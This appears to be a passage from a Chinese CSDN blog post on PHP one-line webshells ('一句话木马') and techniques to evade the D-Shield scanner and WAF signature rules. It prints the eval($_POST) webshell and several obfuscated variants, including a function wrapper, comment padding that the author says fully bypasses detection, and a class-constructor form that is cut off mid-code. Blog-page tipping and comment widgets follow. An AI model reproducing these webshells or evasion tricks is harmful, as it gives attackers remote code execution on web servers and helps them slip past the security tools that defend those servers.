一句话木马以及免杀

此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础查杀软件我首先:D盾『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计!限制了
摘要由CSDN通过智能技术生成

此篇只讨论php,其实原理是相同的,本文的思路依然适用于其他语言
WAF一般都是维护一个规则库,记录webshell常用的函数、方法等等,通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警,但是规则匹配肯定会有误报,waf一直告警也很烦,所以waf一般会稳定为首要目标,也会放宽一下规则,这就是绕的基础
查杀软件我首先:D盾
『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计!限制了常见的入侵方法,让服务器更安全
由于php7.1以后assert不能拆分了,所以此篇不使用assert函数作为核心,使用适用性更广的eval
在这里我们用最新版D盾进行查杀
在这里插入图片描述

首先请出我们最爱的一句话木马:

<?php @eval($_POST['1']);?>

无论如何混淆webshell,我们期望最终得到的逻辑依然是这条代码,所以答案知道了,想办法混淆就行了。
我们先看下这个的查杀吧
在这里插入图片描述
显然被杀了
经过对D盾的探测,可以知道,它对函数的检测其实是比较粗糙的,比如我们构造一个函数,让其返回值拼接为

<?php

function x()
{
   

    return $_POST['1'];

}

eval(x());
?>

在这里插入图片描述
虽然没被直接杀掉但是级别也换成了2级
首先,无论如何更改函数名,都会被杀掉,所以和函数名没关系,然后就是eval内的参数了,测试后发现,只要拼接成eval($_POST[‘a’])就会被杀,因此我们避免语句直接拼接为这样即可。

如何避免直接拼接呢 当然是往中间加料了 加一些既不会破坏语法又能起到隔离作用的东西,什么东西可以做到这样呢?当然就是注释了

<?php

function x()
{
   

    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";

}

eval(x());
?>

在这里插入图片描述
可以看到已经完全绕过查杀了

既然如此,我们的核心绕过思路就是利用注释了,为了去除特征,必不可少的就是随机性了
使用函数返回值与eval拼接只是权宜之计,毕竟也是一条规则就能够被干掉的。所以我们这里使用类和构造函数来替代主动调用函数。

<?php
class x
{
   

        function __construct()
        {
         
                @eval("/*sasas23123*/".$_POST
  • 5
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kerve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值